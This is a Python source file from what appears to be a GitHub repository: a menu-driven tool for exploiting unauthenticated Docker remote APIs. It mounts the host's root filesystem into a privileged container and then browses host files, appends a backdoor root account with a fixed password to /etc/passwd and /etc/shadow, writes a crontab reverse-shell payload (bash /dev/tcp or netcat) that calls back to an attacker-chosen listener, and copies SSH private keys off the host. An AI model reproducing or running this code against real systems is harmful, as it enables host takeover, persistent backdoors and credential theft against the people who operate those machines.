-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
225 lines (199 loc) · 9.19 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
from tabulate import tabulate
import signal
import docker
import sys
BANNER = """
██╗ ██╗███████╗███████╗ ███████╗████████╗██╗ ██╗██████╗ ██╗ ██████╗
██║ ██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██║ ██║██╔══██╗██║██╔═══██╗
██║ █╗ ██║███████╗███████╗█████╗███████╗ ██║ ██║ ██║██║ ██║██║██║ ██║
██║███╗██║╚════██║╚════██║╚════╝╚════██║ ██║ ██║ ██║██║ ██║██║██║ ██║
╚███╔███╔╝███████║███████║ ███████║ ██║ ╚██████╔╝██████╔╝██║╚██████╔╝
╚══╝╚══╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝
Docker Unauthorized 未授权接口利用工具,尚未进行完整测试,尚不保证完美工作
"""
MENU_IMAGE = """
1. 选择现有的镜像进行利用
2. 使用远程拉取的镜像
"""
MENU_EXPLOIT = """
1. 浏览宿主机文件
2. 添加宿主机后门用户
3. 写入计划任务进行反弹宿主机shell
4. 扫描宿主机SSH服务的私钥
"""
MENU_CRONTAB = """
1. bash
2. netcat [x]
"""
class DockerManger(docker.DockerClient):
def __init__(self):
super().__init__()
self.container = None
def connect(self, host: str, port: str | int):
self.client = docker.DockerClient(base_url="tcp://{host}:{port}".format(host=host, port=port))
def get_images(self):
images = self.images.list()
return images
def get_containers(self):
containers = self.client.containers.list(all=True)
return containers
def container_start(self, image_ID: str):
container_params = {
"image": image_ID,
"command": "sleep infinity",
"detach": True,
"volumes": {"/": {"bind": "/tmp/host-dir", "mode": "rw"}}, # 设置将宿主机的主目录挂载进容器的/tmp/host-dir目录
"privileged": True, # 启用容器的特权模式
"remove": True, # 设置容器在停止后自动删除
}
self.container = self.client.containers.run(**container_params)
print(self.container.id[0:12])
def container_clean(self):
if self.container:
self.container.stop()
def container_exec(self, command: str):
# print(command)
exec_res = self.container.exec_run(cmd=command)
if exec_res[0] == 0:
exec_res = exec_res[1].decode("utf-8")
return exec_res
def container_filebrowser(self):
while True:
user_input = input("You can use cat or ls,press q to quit: ")
if user_input == "q":
break
elif len(user_input.strip().split(" ")) == 2 and user_input.strip().split(" ")[0] == "cat":
exec_res = self.container.exec_run(cmd="cat /tmp/host-dir{}".format(user_input.strip().split(" ")[1]))
print()
if exec_res[0] == 0:
datas = exec_res[1].decode("utf-8").split("\n")
for data in datas:
print(data)
elif len(user_input.strip().split(" ")) == 2 and user_input.strip().split(" ")[0] == "ls":
exec_res = self.container.exec_run(cmd="ls -lh /tmp/host-dir{}".format(user_input.strip().split(" ")[1]))
print()
if exec_res[0] == 0:
files = exec_res[1].decode("utf-8").split("\n")
for file in files:
print(file)
else:
print("Invalid input")
def print_basicinfo(self):
print("Listing containers")
print(
tabulate(
[
[
container.id[0:12],
"<service> " + container.name.split(".")[0] if "." in container.name else container.name,
container.image.tags[0],
container.status,
]
for container in self.get_containers()
],
headers=["ID", "Name", "Tag", "Status"],
tablefmt="fancy_grid",
)
)
print("Listing Images")
print(
tabulate(
[
[
image.id.split(":")[1][0:12],
image.tags,
]
for image in self.get_images()
],
headers=["Image ID", "Image Tag"],
tablefmt="fancy_grid",
)
)
def signal_handler(sig, frame):
print("\nClearing traces")
docker_client.container_clean()
print("Exiting gracefully")
exit(0)
def generater_crontab(mode: str, host: str, port: str | int):
res = "*/1 * * * * root "
match mode:
case "bash":
res += "bash -i >& /dev/tcp/{host}/{port} 0>&1".format(host=host, port=port)
case "netcat":
res += "nc -e /bin/sh {host} {port}".format(host=host, port=port)
return res
def main(host: str, port: str | int):
# Check host and port format
if len(host.split(".")) != 4:
print("Error: Host format error")
exit()
for _tmp in [i for i in host.split(".")]:
if len(_tmp) > 3 or not _tmp.isnumeric() or int(_tmp) not in range(0, 256):
print("Error: Host format error")
exit()
try:
docker_client.connect(host=host, port=port)
except:
print("Docker connect Error!")
docker_client.print_basicinfo()
# Select which image to use
match input(MENU_IMAGE).strip():
case "1":
image_id = input("Input image ID: ")
if image_id not in [image.id.split(":")[1][0:12] for image in docker_client.get_images()]:
print("Image ID not exist in remote docker")
exit()
docker_client.container_start(image_id)
while True:
match input(MENU_EXPLOIT).strip():
case "1":
docker_client.container_filebrowser()
case "2":
data_passwd = r"backdorrrr:x:0:0:backdorrrr:/root:/bin/sh"
print(docker_client.container_exec('echo "{}" >> /tmp/host-dir/etc/passwd'.format(data_passwd)))
data_shadow = r"backdorrrr:$1$QEJSn8il$bzSzFWrxSqgUQQv6z68WY0:19641:0:99999:7:::"
print(docker_client.container_exec('echo "{}" >> /tmp/host-dir/etc/shadow'.format(data_shadow)))
print("Backdoor user successfully added with credentials:\nbackdorrrr : backdorrrr")
case "3":
match input(MENU_CRONTAB):
case "1":
payload = generater_crontab("bash", input("Listener Host: "), input("Listener Port: "))
print("payload: " + payload)
print(docker_client.container_exec("bash -c 'echo \"{}\" >> /tmp/host-dir/etc/crontab'".format(payload)))
case _:
print("Not yet developed")
case "4":
user_path = ["/tmp/host-dir/root/.ssh/id_rsa"]
for i in str(docker_client.container_exec("ls /tmp/host-dir/home")).strip().split("\n"):
user_path.append("/tmp/host-dir/home/" + i + "/.ssh/id_rsa")
for i in user_path:
if docker_client.container_exec("ls {}".format(i)):
username = i.replace("/tmp/host-dir", "")
if username.startswith("/root"):
username = "root"
else:
username = username.split("/")[2]
print("检测到私钥文件 - {}".format(username))
with open("./id_rsa_{}".format(username), "w+") as f:
f.write(docker_client.container_exec("cat {}".format(i)))
print("已保存为:./id_rsa_{}".format(username))
case "q":
break
case _:
print("What?")
continue
signal_handler()
if __name__ == "__main__":
DEBUG = False
docker_client = DockerManger()
signal.signal(signal.SIGINT, signal_handler)
print(BANNER)
if len(sys.argv) == 3:
main(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
main(sys.argv[1], 2375)
else:
print("Usage: python3 main.py <host> <port:optional, default:2375>")
print("Example: \n- python3 main.py 127.0.0.1 2375 \n- python3 main.py 127.0.0.1")
if DEBUG:
main("127.0.0.1", 2375)